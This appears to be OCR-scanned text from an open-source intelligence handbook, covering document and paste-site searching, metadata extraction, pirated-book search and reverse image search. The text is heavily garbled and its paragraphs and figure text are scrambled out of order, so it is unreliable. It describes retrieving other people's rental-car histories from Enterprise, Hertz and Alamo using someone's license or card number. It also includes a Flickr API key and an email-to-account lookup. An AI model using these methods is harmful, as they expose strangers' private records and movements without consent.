public website. If you are presented with an unmanageable number of results, the filter opdons appear directly above the first document result These will allow you to search by language, size, file type, and date uploaded. With unprecedented online storage space at all of our fingertips, many people choose to store PowerPoint and other types of presentations in the cloud. Several free sendees have appeared to fill this demand. Of those, the folloxring have the majority of publicly available documents. Scribd was a leading cloud storage document sendee for several years. Since 2014, it has shifted its focus toward e-book sales. However, the plethora of stored documents is still accessible. This can be valuable for historical content posted, and likely forgotten, by the target A search field is at the top of every page on the site within their collapsible menu. Searching for your target name should produce any public books stored through this sendee that includes the target name on any page of the publication. Clicking "Documents" in the menu will present more relevant information. Identifying the user that uploaded a document is as easy as locating the document. In the upper-center of any page containing a document, there is an area that will identify the subject that uploaded the file. This also acts as a link to this user's profile on the website. The profile will display any information that the user supplied as well as a feed of recent activity of that user on the site. This can help identify other documents uploaded by a specific user. WikiLeaks (search.wikilcaks.org) Cryptome (crjq5tome.org) sire:cryptome.org "osint" Paste Sites Pastebin (pastcbin.com) sitc:pastebin.com "osint" Documents 329 Another site that strives to release sensitive and classified information to the public is Cryptome. Most of the information is related to freedom of speech, cryptography, spying, and surveillance. Much of the content could be considered conspiracy' theories, but several official documents get released daily. Crjptome does not provide a search for their site and there are no third-party providers that cater to this service. Therefore, we must rely on Google or Bing to find the documents. A structured query of "osint" should function well. This technique using the search terms of "bradlcy manning" linked to 77 documents surrounding his investigation. Pastebin is the most popular paste site in the United States. Criminal hacker groups often use this site to release illegally' obtained data to the public. A previous release included the home addresses and personal information of many' police officers near Ferguson, Missouri during protests and riots. More recently, stolen bank records and credentials from Venezuela were posted with encouragement to infiltrate the company. This is one of the sites that will allow for a search from within the site. This function performs a search through Google in the same wav we could with the "site" operator. Typing in a target name, email address, or business name may’ reveal private information not intended for the public. For law enforcement, typing in the last four digits of a stolen credit card number may' identify’ a link to the thief. If successful, the target is most likely’ outside of the country’. Regardless, this is a valuable piece to the case and an impressive explanation to the victim. Unfortunately, most of the users leave a default username of "Guest". Pastebin no longer allows a direct URL search, but relies on Google for indexing, as follows. Some websites are created for the sole purpose of leaking sensitive and classified documents to the public. Wikileaks is such a site. When an Army' soldier named Bradley Manning was arrested in 2010 for uploading classified government information to the site, Wikileaks became a household name. People then began to flock to the site to catch a glimpse of these controversial documents and videos. The official Wikileaks site finally provides a working search option. It will allow you to enter any search terms and will provide results of any leaked documents that contain these terms. Both the government and the private sector should be familiar with this site and the information that is identified with their respective agency. New paste sites come and go monthly. There is no way to present a current and complete list. However, 1 xvill focus on the most stable and prominent options which allow search. In a moment, I present a custom search tool which queries all of these at once. The following sites can be individually queried with the site operator, such as site:doxbin.org "osint". Paste Sites are not technically storage sendees for documents. They are websites that allow users to upload text for public viewing. These were originally designed for software programmers that needed a place to store large amounts of text. A link would be created to the text and the user could share the link with other programmers to review the code. This is still a common practice, but other users have found ways to abuse this technology’. Many hacking groups will use this area of the internet to store compromised account information, user passwords, credit card numbers, and other sensitive content. There are dozens of sites that cater to this need, and very' few of them have a search feature. Document Metadata Document Metadata Applications ExifTool (exiftool.org) 330 Chapter 20 Extract Metadata (extractmetadata.com) Jeffrey’s Viewer (exif.regex.info/exif.cgi) Exiffnfo (exifinfo.org) Get Metadata (get-metadata.com) paste.org paste.org.ru paste.ubuntu.com paste2.org pastebin.ca pastebin.com pastebin.fr pastebin.gr pastefs.com pastehtml.com pastelink.net pastie.org Obin.net cllp.net codepad.org controlc.com doxbin.org dpaste.com dpaste.de dpaste.org dumpz.org friendpaste.com gist.gitliub.com hastebin.com You already possess a document metadata viewer within your custom Linux virtual machine. It is called ExifTool and we installed it during the previous chapters. This is a terminal-based solution, but the function is quite If I need to analyze the metadata stored within documents, I prefer to do so locally on my machine. I do not want to share any potential investigation details with an online resource. This is especially true if the documents are not already online. You may possess a folder of files which were retrieved from a suspect computer or emailed directly to you. In these scenarios, we should be cautious as to not distribute any7 evidence electronically to any websites. I present two solutions, with a third unstable option. When an original document is found online, it is obviously important to analyze the visible content of the file. This includes the file name, written text, and an original location of the document. Digging deeper will expose more information. There is data embedded inside the document that cannot be seen by simply looking at the content of the file. This data is called metadata and can be very7 valuable to any7 type of investigation. It can often include the computer name on which the document was created, the username of the computer or the network, the software version used, and information about the network to which the computer is connected. The best way7 to view all of this information is to use software-based metadata viewers, but you can also view this "hidden” information online through a web browser. Several online sites will allow you to upload documents for analysis. To do this, click the "browse" button on the pages detailed below. This will enable a file explorer that will allow you to select the document that you want analyzed. The result often identifies a created and modified date, the original tide, three applications used to create the document, and a username. A further search of this username through the previously discussed techniques could produce a wealth of information about the author of the document. The following websites allow you to upload a locally7 stored document or submit a URL of a file for analysis. Please use caution with this technique. If the document is already7 posted online, there is very7 litde risk of allowing a URL analysis. However, a locally7 stored file that has never been on the internet may7 require a second thought. If the content is sensitive, you may not want to upload to any sendee. If the file contains classified information, you could be jeopardizing your clearance. In these situations, use the methods discussed in a moment. If this is not a concern the following websites work well. heypasteit.com ideone.com ivpaste.com jsbin.com justpaste.it justpaste.me paste.debian.net paste.ee paste.centos.org paste.frubar.net paste.lisp.org paste.opensuse.org p.ip.fi privatebin.net slexy.org snipplr.com sprunge.us textsnip.com tidypub.org wordle.net zerobin.net -csv Let's conduct an example and take a look at the results. I performed the following Google search: ext:docx "osint" Figure 20.01: Document metadata results from ExifTool. FOCA (github.com/ElevenPaths/FOCA) Documents 331 • Open FOCA and click the Metadata folder in the left menu. • Drag and drop the documents into the FOCA window. • Right-click any of the documents and choose "Extract all metadata". • Right-click any of the documents and choose "Analyze metadata". cd -/Desktop/Evidence exiftool * -csv > ~/Desktop/Evidence/Report.csv Application Microsoft Office Word Microsoft Macintosh Word Microsoft Office V/oro Microsoft Office Word AppVerslon Company CreatC-Date Creator LastMc^^fty < j 12 201103:18 20 29.002 markoprir^H marko^Hac 15 2016 04.25 14:56.00Z Kirk HaycIH Kirk 4 12 2017 06:03 09 53.002 Hakon201^B Hakon^M | « 14 United States Army 2016:06:13 08:31002 jchnt.nchj^ lMO-P<JBfriaJcnasA^B Taa'auTi-re L2hous 26 mnufes 4 rr^nutts • Navigate to https://github.com/ElevenPaths/FOCA/releases. • Click die hyperlink for the most recent "zip" file. • Double-click the .zip file and extract the contents. • Launch FOCA.exe from the "bin" folder within the "FOCAPro" folder. • If prompted, select "Download and install this feature" to install the .net framework. FOCA should launch and present a window with many options. Today, the vast majorin’ of the features no longer w’ork, but the document analysis is helpful. Assume you possess the same four documents mentioned previously on the Desktop of your Window's VM. You can now' click through the menus on the left to view' any metadata details such as email addresses, names, and computers associated with these files. Figure 20.02 displays the result with the files mentioned previously. 1 have highlighted the Users section and redacted the screenshot. The benefit of this method is the user interface, but you sacrifice a reporting option. The previous ExifTool method is not as pretty, but the spreadsheet result simple. Assume that you have used die previous techniques to download several Word documents in .docx file format onto your Desktop in a folder tided Evidence. The following steps within Terminal would navigate to the proper folder, generate a spreadsheet widi die metadata included within the documents, and tide it Report.csv on your Desktop in the Evidence folder. This provided 371 results, all of which were Microsoft Word documents. I downloaded the first four into the Evidence folder on my Desktop. After executing the commands above, I launched the spreadsheet. Figure 20.01 displays a small portion of the interesting results. This tells me the names of the individuals who created and last modified the documents; the companies involved; the software which was used; and even the amount of time they spent editing the content. This is extremely valuable information which should be collected during every investigation in which documents arc obtained. You may desire a Windows-based solution which possesses a user-friendly interface. FOCA was once the premier document metadata collection and extraction tool. It was created to search, download, and analyze documents and their metadata in one execution. Unfortunately, Google and other search engines began blocking the search and download behavior of the software. Fortunately, the analysis portion still wrorks perfectly. The follow ing steps will download and install FOCA to your Window's VM or any other Window’s device. Options Q TaskList Q«] Plugins About Tools Value Figure 20.02: A FOCA analysis. Manual Metadata Extraction 332 Chapter 20 on the method most Aarbule All ucgn found (6) -Jjmes found IMO-^^Bhlm, Jonas ^Br *1 I There are some documents which store much more metadata within the content than what is presented within the official metadata associated with the file. 1 see this most commonly with PowerPoint files. Let's conduct a demonstration. I searched excpptx "osint" within Google. The first result was a PowerPoint presentation, which I downloaded. The previous methods announced all of the standard metadata we would expect to see. 1 then changed the name of the PowerPoint presentation file from "OpenSourcelntelligence-OSINT.pptx" to "OpenSourceIntelligencc-OSINT.zip". This tells my computer that this file is now an archive. is helpful. Ultimately, 1 believe you should be familiar with both options and rely appropriate for your own investigations. In a bit of irony, this PowerPoint file randomly selected from the Google results included the OSINT flowcharts which I present at the end of my books, but the owner claimed them as his own work with "Copyright of die Cybersecmentorship.org". /Xpparcndy, this technique can also help expose copyright infringement and blatant plagiarism. I then decompressed die zip file which presented dozens of new files. These are the content behind the scenes of the PowerPoint itself. They include all of die images inside the presentation, which can then easily be analyzed for their own metadata, and text extraction of all words in the slides. The "app.xml" file confirms that the audior was using PowerPoint from Microsoft Office 2016 (AppVersion> 16.0000) and several files include unique identifiers for this user. Comparing these to other downloaded documents could prove that rhe authors of each were the same. ] - Project ] Report = ) No project S - i Netwok 3 Pj Gerts (4) 3 0 PC_deJ >-CPC_EITS« r“] S C’ FCJI.IO-dMkn, Jonas^Br : 3-C FC.KrklM s- j Servers (0) 1 _ Unlocated Server? i—~ Domans *: C-i Roles E $ S- Metadata S- Doctrnerts (4/4) 3 docx (4) B-r~- Metadata Summary A'feCSTy-el - C Folders (0) iSi Prrters (0) - jj Software (3) C Emails (2) - Operating Systems (0) ‘A, Passwords (U) - j Servers (0) Real World Application: Dennis Lynn Rader, also known as the BTK killer, sent a floppy disk to the Wichita Police Department containing a Microsoft Word document in reference to his killings. The police examined the metadata of this document and determined chat it was made by a subject named "Dennis". Unks to a Lutheran church were also located within this data. Conducting OSINT searches on these two pieces of information helped to identify- the suspect and make an arrest. Free OCR (free-ocr.com) Text Archives (archive.org) >rg/search.php?query=inteltechniques&sin-TXT Google Books (books.google.com) https://www.google.com/search?tbm=:bks&q=intekechniques Pirated Books (lj-ok.ee/fulkext) https://b-ok.ee/fulkext/michael bazzell/ Christopher Hadnagy Figure 20.03: An excerpt from Z-Library after a text query. Documents 333 ..Michael Bazzell: Michael is the man when it comes to disappearing from the web, but he's also developed an amazing set of tools for OSINT practitioners... Social Engineering: The Science of Human Hacking Wiley https://archive.oi Google has scanned most books printed within the past decade and the index is searchable. Many of these scans also include a digital preview of the content. A direct URL query appears as follows. The Internet Archive possesses massive collections of text files, books, and other documents. These files can be accessed with the "=TXT" parameter after a search. A direct URL for documents mentioning "inteltechniques" within the tide or content would be the following. 1 am hesitant to present this resource, but I have found it extremely valuable in my investigations. Many people use a service called Library' Genesis to download illegal pirated e-books. Library' Genesis does not offer any type of indexing of content, but Z-Library acquires all of their content and provides a search interface. This allows us to search within the content of millions of pirated books without actually downloading any content. The following URL would query "michael bazzell" within the entire collection. Figure 20.03 displays a search result identifying the book and an excerpt of text from the query'. This allows us to find references to specific targets within publications. While it may be tempting to download the PDF of the book, please don't. This likely violates your laws, policies, or ethics. You may occasionally locate a PDF file that has not been indexed for the text content. These types of PDF files will not allow you to copy and paste any of the text. This could be due to poor scanning techniques or to purposely prohibit outside use of the content. You may desire to capture this text for a summary report These files can be uploaded to Free OCR and converted to text documents. OCR is an acronym for optical character recognition. Basically, a computer "reads" the document and determines what the text is inside the content. The result is a new document with copy and paste capability. Book Sales (amazon-asin.com) https://amazon-asin.com/asincheck/?product_id=B08RRDTFF9 Rental Vehicle Records Enterprise (enterprise.com) Hertz (hertz.com/rentacar/receipts/request-receipts.do) Alamo (alamo.com) Thrifty (thrifty.com/Reservarions/OnlineReceipts.aspx) Dollar (dollar.com/Reservarions/Receipt.aspx) and either a driver's license number or credit card number. 334 Chapter 20 Similar to Enterprise, Hertz has a link at the bottom of this page titled "Get a receipt". You can search by driver's license number or credit card number with last name. The receipt will be similar to the Enterprise demonstration. Similar to Thrifty’, this service requires a last name I have never had an investigation rely on book sale information, but I find it interesting. Amazon offers a lookup tool which displays details about the number of copies being sold of any book on their site. First, you must identify the ASIN assigned to the book. This is typically visible within the details section of the book's listing page. The previous edition of this book is B08RRDTFF9. The following URL accesses all available details. The details of rental vehicles are not technically documents, but the data seemed to fit this category the best The following options have been controversiaUy received during training and may not be appropriate for everyone. I present these methods to you as theories, and you should evaluate if the techniques are suitable for your research. Several vehicle rental companies offer an option to access your receipts online. This is probably designed for customers that leave a vehicle at the business after hours and later need a receipt. While the processes to retrieve these documents are designed to only obtain your own records, it is easy to view others. This sendee requires a last name and either a driver's license number or credit card number. At the bottom of every’ Enterprise web page is an option to "Get a receipt". Clicking this will present a form that must be completed before display of any details. Enterprise will need the driver's license number and last name. Proriding this information will display the user's entire rental history’ for the past six months to three years. Testing with my own data provided two years' worth of results. Each document will link to the entire receipt from that rental. These receipts include the start date and rime, end date and time, vehicle make and model, pick up location, total mileage, lease name, and form of pay’ment This information could be very beneficial to any drug case or private investigation. Alamo titles their receipt retrieval link "Past Trips/Receipts" and it is located in the bottom portion of every page. The process is identical to the previous two examples. The only difference is that you must choose a date range. I usually select a start date of one year prior to the current date and the end date of the current date. By visiting this page, you can access the fee I pay’ to Amazon for each sale ($7.90); the fee I pay’ to Amazon for fulfillment ($5.84); the fee I pay’ to Amazon for royalties (40%); the "Listing Quality’" (Poor); Potential sales (Low); Estimated Daily’ Sales (11-13 books); Estimated Daily’ Income ($447.00 - $528.00); Main Search Keywords (open source intelligence techniques); and Amazon Buyer Keywords (100 techniques americas test kitchen). As you can see with that last entry’, these results are not all accurate. Well, maybe the Potential Sales entry’ (Low). I never believe everything 1 see here, but it can be an indicator of sales versus a competing book. IntelTechniques Documents and Pastes Tools [Search Terms Populate All Web Image About 3,320,000 results (0.45 seconds) fork os ini-discovery's gists by creating an account on GilH [Search Terms Submit All JC [Search Terms Submit All Figure 20.04: The IntelTechniques Documents and Pastes Tools. Documents 335 The second section (Figure 20.04 left) allows entry of any terms or operators in order to locate files stored within Google Docs, Google Drive, Microsoft Docs, Amazon AWS, CloudFront, SlideShare, Prezi, 1SSUU, Scribd, PDF Drive, and others. The "Submit All" option will execute each search in its own tab. Bash one-liners for OSINT scouting • GitHub Gist > mardopocabon Bash one-liners for OSINT scouting. GitHub Gist instantly share code, notes, an osintj tracelab-oslnt-ctf-notes.md • GitHub Gist >... Tracelabs OSINT CTF Notes. 26-9-2020 Presenter @AletheDenis Notes below Thera is no substitution for scrolling. Search Terms Search Terms Search Terms Search Terms Search Terms Search Terms Search Terms MPG/MP4 MP3/WAV I Search Terms j Search Terms [Search Terms Search Terms Search Terms Search Terms Search Terms Search Terms Search Terms [Search Terms Google Docs Google Drive Google API MS Docs Amazon AWS Cloudfront GrayHatWarfare SlideShare Prezi ISSUU Slide Search Slide Bean Author Stream Scribd PDF Drive Wikileaks Archive.org Google Books Z-Library oslnt-discover/s gists ■ GitHub Gist»osint-discovery GitHub Gist star and OSINT Phone Search tool inspired by Michael Bazzell's previousl Gist > tquenlin import webbrowser. areaCodo = InputfWhat is the area code of the phone numb digits? *). [OSINT] Get twitter of all your github followers • GitHub Gist > ... [OSINT] Get twitter of an your github followers. GitHub Gist instantly share code If these resources seem overwhelming, consider my custom document search tools. The first tool, tided "Documents.html" in your download from previous chapters, has two sections. The first section (Figure 20.04) queries documents by file types. It allows entry’ of any terms or operators in order to locate PDF, DOC, DOCX, XLS, XLSX, CSV, PPT, PPTX, KEYNOTE, TXT, RTF, XML, ODT, ODS, ODP, ODG, ZIP, RAR, 7Z, JPG, JPEG, PNG, MPG, MP4, MP3, and WAV documents. The "Submit All" option will execute each search in its own tab. Search Terms Search Terms Search Terms [Search Terms | Search Terms Search Terms i Search Terms | Search Terms Search Terms Search Terms Search Terms [Search Terms OSINT list ■ GitHub Gist > opexxx OSINT list GitHub Gist: instantly share code, notes, and snippets.... OSINT list. httpsyAvww.abuseipdb.com IP. The "Pastes" search tool (Figure 20.04 right) presents a Google custom search engine (CSE) which queries all paste sites mentioned previously. In this example, I have searched the term "osint" and received over 2,000,000 results within the search tool. I 7 OSINT | Amnesty International 2FA / MFA Phishig Domains (https Gist > gio-pecora OSINT | Amnesty International 2FAI MFA Phishig Domains (https://goo.gl/ukmU PDF " ) DOC/DOCX I 1j XLS/XLSX/CSV '] ■ [ PPT/PPTX/KEY | TXT/RTF/XML QDT/ODS/ODP j ZIP/RAR/7Z j " [ JPG/JPEG/PNG [ ( MPG/MP4 j J osint-twintmd ■ GitHub Gist > sxfmol SpiderFoot is an open source intelligence (OSINT) automation tool. It integrates utilises a range of methods.~ 336 Chapter 21 Google Images (images.google.com) Bing Images (bing.com/images) Reverse Image Search Google Reverse Image Search (images.google.com) Images 337 Ch a pt e r Tw e n t y -On e Ima g e s be used to identify on a social network, a image. These may Thanks to cameras on every data cellular phone, digital photograph uploads are extremely common among social network users. These images can create a whole new element to the art of open source intelligence analysis. This chapter will identify various photo sharing websites as well as specific search techniques. Later, photo metadata will be explained that can uncover a new level of information including the location where the picture was taken; die make, model, and serial number of the camera; original uncropped views of the photos; and even a collection of other photos online taken with the same camera. After reading this information, you should question if your online photos should stay online. One of the more powerful reverse image search services is through Google. Rolled out in 2011, this service is often overlooked. On any Google Images page, there is a search field. Inside of this field on the far right is a Similar to Google, Bing also offers an image search. While it is not as beneficial as the Google option, it should never be overlooked. On several occasions, I have located valuable pictorial evidence on Bing that was missing from Google results. The function is identical, and you can filter search results by date, size, color, type, and license type. When searching for relevant data about a target, I tty' to avoid any filters unless absolutely necessary. In general, we always want more data, not less. The search techniques explained in Chapter Nine all apply to queries on Google Images and Bing Images. Advancements in computer processing power and image analysis software have made reverse image searching possible on several sites. While a standard search online involves entering text into a search engine for related results, a reverse image search provides an image to a search engine for analysis. The results will vary’ depending on the site used. Some will identify identical images that appear on other websites. This can other websites on which the target used the same image. If you have a photo of a target reverse analysis of that photo may’ provide other websites on which the target used the same be results that were not identified through a standard search engine. Occasionally, a target may create a website as an alias, but use an actual photo of himself. Unless you knew the alias name, you would never find the site. Searching for the site by' the image may be the only way to locate the profile of the alias. Some reverse image sites go further and try to identify other photos of the target that are similar enough to be matched. Some will even try’ to determine the sex and age of the subject in the photo based on the analysis of the image. This type of analysis was once limited to expensive private solutions. Now, these services are free to the public. During my live training sessions, I always encourage attendees to avoid individual searches on various photo sharing websites such as Flickr or Tumblr. This is because most of these searchable sites have already been indexed by Google and other search engines. Conducting a search for "Oakland Protest" on Flickr will only identify images on that specific service that match. However, conducting the same search on Google Images will identify photos that match the terms on Flickr and hundreds of additional services. Similar to Google's standard search results, y’ou can use the Search Tools to filter by date. Additionally, you can further isolate target images by' size, color, and ty'pe, such as photographs versus line drawings. I no longer conduct manual searches across the numerous photo sharing sites. Instead, I start with Google Images. Bing Reverse Image Match (bing.com/images) TinEye (tineye.com) Yandex Images (yandex.ru/imagcs) Baidu Images (image.baidu.com) 338 Chapter 21 Similar to Yandex, the Chinese search engine Baidu offers a reverse image search. Baidu currently offers no English version of their website and only presents Chinese text. Navigating to the above website offers a search box that contains a small camera icon to the right. Clicking this presents options for uploading an image (button to left) or providing the URL of an online image within the search field itself. The results will identify similar images on websites indexed by Baidu. Figure 21.01 (fifth) displays the search page only available in Chinese. In my experience, this reverse search option fails more than it functions. TinEye is another site that will perform a reverse image analysis. These results tend to focus on exact duplicate images. The results here are usually fewer than chose found with Google. Since each sendee often finds images the others do not, all should be searched when using this technique. Figure 21.01 (third) displays the search menu. The icon on the left prompts the user to provide a location on the hard drive for image upload while the search field xvill accept a URL. Russian search site Yandex has an image search option that can conduct a reverse image search. Similar to the other methods, enter the full address of the online image of interest and search for duplicate images on additional websites. In 2015, Yandex began allowing users to upload an image from their computers. In 2020, I began noticing accurate results from Yandex which were not visible in results from Google, Bing, or TinEye. Today, Yandex may be your best reverse image search option. Figure 21.01 (fourth) displays the reverse image search icon in the far-right portion. In 2014, Bing launched its own reverse image search option tided ’’Visual Search’’. This feature can be launched from within any page on Bing Images by clicking the camera icon to the right of the search field. Figure 21.01 (second) displays diis option. This service does not seem to be as robust as Google’s. In my experience, I often receive either much fewer results, although they do match. On a few occasions, I have received matched images that Google did not locate. light grey camera icon that appears slightly transparent Figure 21.01 (first) displays this search field. Clicking on this icon will open a new search window that will allow for either a web address of an online image, or an upload of an image file on your computer. In order to take advantage of the online search, you must have the exact link to the actual photo online. Locating an image within a website is not enough. You will want to see the image in a web browser by itself, and then copy the address of die image. If 1 want to view the image from the actual location, 1 must right-click on the image and select "view image" with my Firefox browser. Chrome users will see "open image in new tab" and Internet Explorer users will see "properties" which will identify the URL of the image. This link is what you want in order to conduct a reverse image analysis. If you paste this link in the Google Images reverse online search, the result will be other similar images, or exact duplicate images, on other sites. Visiting these sites provides more information on the target. Note that adding context to the reverse-search field after submission can improve accuracy. As an example, a reverse-search of a photo from Linkedln might produce many inaccurate results, but including the name or employer of your target will often display only applicable evidence. Another way to use this service is to search for a target within the Google Images search page. The images in the results will present additional options when clicked. A larger version of the image will load inside a black box. The three options to the right of the image will allow you to visit the page where the image is stored, view the image in full size, or "Search by image". Clicking the "Search by image" link will present a new search results page with other images similar to the target image. These connect to different websites which may contain more intelligence about the subject TinEye: http://\\nk\rw.tineye.com/search/?url=https://inteltechniques.com/img/EP2.png @ Q, o. a Paste or enter image URL Search a © figure 21.01: Reverse image search options from Google, Bing, TinEye, Yandex, and Baidu. 339 Images Google: https://www.google.com/s intcltechniqucs.com/img/EP2.png Yandex: hrrps://yandex.com/images/search?rpt=imageview&url=https://intekechniques .com/img/EP2.png Baidu: https://graph.baidu.com/upload?image=hrtps%3A%2F%2Fintekcchniques.comn/o2F img%2FEP2.png 'scarchbyimagc?site=search&sa-X&image_url-https:// Bing: https://www.bing.com/images/search?view=dctailv2&tiss-sbi&q-imgurl:https:// intckcchniques.com/img/EP2.png Regardless of the services that you arc executing, I urge you to use caution with sensitive images. Similar to my view of analyzing online documents for metadata, I believe that submitting online photos within these engines is harmless. If the photo is already publicly online, there is very little risk exposing it a second time. My concern involves child pornography and classified photos. As a former child pornography investigator and forensic examiner, there were several times that I wanted to look for additional copies of evidence online. However, I could not. Even though no one would know, and the photos would never appear any place they should not, conducting reverse image searches of contraband is illegal. It is technically distributing child pornography (to Google). While working with a large FBI terrorism investigation, I had possession of ten photos on which I wanted to conduct a reverse image search. The photos were part of a classified case, so I could not. Overall, never submit these types of photos from your hard drive. It will always come back to haunt you. Whenever I have any public images that call for reverse image searching, I always check all five of these sendees. While I rarely ever get a unique result on Baidu, it only takes a few seconds to check every time. This diligence has paid off in the past. These manual searches do not need to be as time consuming as one may think. We can automate much of this process to save time and encourage thorough investigations. First, we should take a look at direct URL submission. For the following examples, assume that your target image is the cover of my privacy book from the web page at intekechniques.com/book7.html. The actual target image is stored online at the URL of https://inteltcchniques.com/img/EP2.png. The following direct addresses would conduct a reverse image search at each service listed. Cropped Reverse Image Searching ■SB. a Figure: 21.02: An original image (left) and Figure 21.03: A reverse image search result from Yandex. Karma Decay (karmadecay.com) 340 Chapter 21 Paranoid Mind :: @flHeBHMKn: acouwanbHan ceTb pda.diary.ru Paranoid Mind :: @AHeBHMKn: acounaabHan ceTb https://karmadecay.com/search?q=https://inteltechniques.com/img/EP2.png cropped version (right). Beginning in 2018, I noticed that both Google Images and Bing Images were returning fewer results than in previous years. It seemed as though each were trying to limit the number of matching photos, possibly with the intent to present only relevant images based on previous search history or whatever they "think” we want from them. In 2019,1 had an investigation focused around an online image. When I conducted a reverse image search, I received one result, which was a copy I already knew existed. When 1 cropped the image to only display my target, I received more search results. I find diis technique applicable to Google and Bing, but I believe it works best with Yandex. The following is a demonstration of this method, using a public image recently posted to Twitter. Figure 21.02 (left) is the original image obtained from Twitter. A reverse image search through Google, Bing, and Yandex revealed numerous results, but none of them contained my target displayed on the far left. I cropped the image, as seen in Figure 21.02 (right), to display only the target and resubmitted to Yandex. This immediately identified numerous images of the target. Figure 21.03 displays one of these images. Both Google and Bing displayed no results from this cropped image. I cannot stress enough the importance of reverse-searching images through Yandex. I find their service superior to all others. This service was mentioned in Chapter Fourteen and has a ven’ specific specialty’ which can be beneficial to an internet researcher. It is a reverse image search engine that only provides positive results that appear on the website Reddit. It was originally launched as a way for users to identify when someone reposted a photo that had previously been posted on the website. The user could then "down-vote" the submission and have it removed from the front page. We can use this in investigations to locate every’ copy of an individual photo on Reddit. You can either provide a link to an image or upload an image from your computer. The following static URL submits our target image for reverse analysis on Reddit. Root About (rootabout.com) Wolfram Image Identification Project (imageidentify.com) Pictriev (pictriev.com) Twitter Images https://twitter.com/search?q=osint&f=image Facebook Images https://www. facebook, com/search/photos/?q=osint Facebook also allows a specific query for images from posts. The traditional method is to search a keyword and navigate to the Photos filter. However, we can replicate this via URL, as follows. For the first several years of Twitter's existence, it did not host any photos on its servers. If a user wanted to attach a photo to his or her post, a third-party photo host was required. These have always been free and plentiful. Often, a shortened link was added to the message, which forwarded to the location of the photo. Twitter now hosts photos used in Twitter posts, but third-party hosts are still widely used. The majority of the images will be hosted on Instagram, which was previously explained. If you have already identified your target's Twitter page, you will probably have the links you need to see the photos uploaded with his or her posts. Many Twitter messages have embedded images directly within the post. Twitter now allows you to search keywords for photo results. After you conduct any search within the native Twitter search field, your results will include a filter menu on the top. The "Photos" results will only include images which have a reference to the searched keyword within the message or hashtag. You can also filter this search for people, videos, or news. The direct URL query for all Twitter images associated with "osint" would be the following. Real World Application: These reverse image search sites can have many uses to the investigator. In 2011,1 searched a photo of damage to a popular historic cemetery that was vandalized. The results included a similar photo of the suspect showing off the damage on a blog. An arrest and community service soon followed. Later, while working with a private investigator, I was asked to locate any hotels that were using the client's hotel images on websites. A reverse image search identified dozens of companies using licensed photos without authorization. This likely led to civil litigation. More recently, a federal agent asked me to assist with a human trafficking case. He had a woman in custody who spoke little English. She was arrested during a prostitution sting and was suspected of being a victim of trafficking. A reverse image search from one online prostitution ad located all of her other ads which identified the regional areas that she had recently been working, a cellular telephone number connected to her pimp, and approximate dates of all activity. This is another specialized reverse image search utility which only queries against images stored on the Internet Archive and within Open Library (also an Internet Archive product). Any results will likely contain public images such as published photos and book covers. I have yet to receive any benefit to my investigations with this service, but it should still be available in your arsenal of tools. Root About does not support search via a direct URL Pictriev is a service that will analyze a photo including a human face and try to locate additional images of the person. The results are best when the image is of a public figure with a large internet presence, but it will work on lesser-known subjects as well. An additional feature is a prediction of the sex of the target as well as age. While this is not a traditional reverse image search, it does provide value. The goal of this service is to identify the content of an image. If you upload a photo of a car, it will likely tell you the make, year, and model. An upload of an image containing an unknown Chinese word may display a translation and history details. The site prompts you to upload a digital file, but you can also drag and drop an image from a web page in another tab. Images 341 Tumblr Images https://www.tumblr.com/search/osint All of these options are included within the custom search tools which are presented at the end of this chapter. Photo-Sharing Sites Flickr (flickr.com) Flickr Map (flickr.com/map) are Flickr API 342 Chapter 21 In order to find a photo related to a target, the image must be stored on a website. The most common type of storage for online digital photos is on a photo-sharing site. These sites allow a user to upload photographs to an account or profile. These images can then be searched by anyone with an internet connection. Almost all of these hosts are free for the user and the files will remain on the site until a user removes them. There are dozens of these sendees, many allowing several gigabytes worth of storage. While I mentioned earlier that a Google Images or Bing Images search was most appropriate for all photo sharing hosts, Flickr deserves a mention. Flickr attempts to geo locate all of the photos that it can. It attempts to identify the location where the photo was taken. It will usually obtain this information from the Exif data, which will be discussed in a moment. It can also tag these photos based on user provided information. Flickr provides a mapping feature that will attempt to populate a map based on your search parameters. I believe this service is only helpful when you are investigating a past incident at a large event or researching the physical layout of a popular attraction. Flickr, purchased by Yahoo and now owned by SmugMug, was one of the most popular photo-sharing sites on the internet. Many have abandoned it for Twitter and Instagram, but the mass number of images cannot be ignored. The majority of these images are uploaded by amateur photographers and contain little intelligence to an investigator. Yet there are still many images in this "haystack" that will prove to be beneficial to the online researcher. The main website allows for a general search by topic, location, username, real name, or keyword. This search term should be as specific as possible to avoid numerous results. An online username will often take you to that user's Flickr photo album. After you have found either an individual photo, user's photo album, or group of photos by interest, you can begin to analyze the profile data of your target. This may include a username, camera information, and interests. Clicking through the various photos may produce user comments, responses by other users, and location data about the photo. Dissecting and documenting this data can assist with future searches. The actual image of these photos may give all of the intelligence desired, but the data does not stop there. A search on Flickr for photographs related to the Occupy Wall Street protesters returned over 157,000 results. Tumblr blogs have a heavy emphasis on images, and search engines do not always index associated keywords well. Therefore, we should consider a query specifically on the site. The following URL queries images associated with "osint". There are three specific uses of the Flickr Application Programming Interface (API) that I have found helpful during many online investigations. The first queries an email address and identifies any Flickr accounts associated with it. The second queries a username, and identifies the Flickr user number of the connected account. The final option queries a Flickr user number and identifies the attached username. Unfortunately, all of these features require a Flickr API key. I have included a throwaway key within the search tools explained at the end of the chapter. However, it may not function for long after the book is published. If the key should be terminated by Flickr, simply request your own free key at https://www.flickr.com/services/api/. Once issued, replace my test key (27cl96593dad58382fc4912b00cfl 194) within the code of the tools to your own. A demonstration may I immediately received the following result The response includes the following. User id="8104823@N02" Once you have identified the user number, we can submit the following URL This returns the most details, including the following result from our target. Exif Data Images 343 help to explain the features. First, I submitted the following URL to Flickr in order to query my target email address of [email protected]. https://api.flickr.com/scrvices/rcst/?method=flickr.people.findByEmail&api_key=27cl96593dad58382fc491 2b00cfl 194&[email protected] https://api.flickr.com/services/rest/?method=flickr.people.findByUsername&api_key-27cl96593dad58382f c4912b00cf 1194&username=intellectarsenal usemame>intellectarsenal photosurl>https://www.flickr.com/photos/8104823@N02/ profileurl>https://www.flickr.com/people/8104823@N02/ mobileurl>https://rn.flickr.com/photostream.gne?id=8084475 https://api.flickr.com/services/rest/?method=flickr.people.getlnfo&api_key=27cl96593dad58382fc4912b00 cfH94&user_id=8104823@N02 User id="8104823@N02" usemame>intellectarsenal Navigating to the profile displays details such as the join date, followers, and photo albums. This may seem like a lot of work for a minimal number of details, but this is quite beneficial. There is no native email address search on Flickr, but we can replicate the function within the API. You may not find young targets sharing images here, but the massive collection of photos spanning the past decade may present new evidence which was long forgotten by the 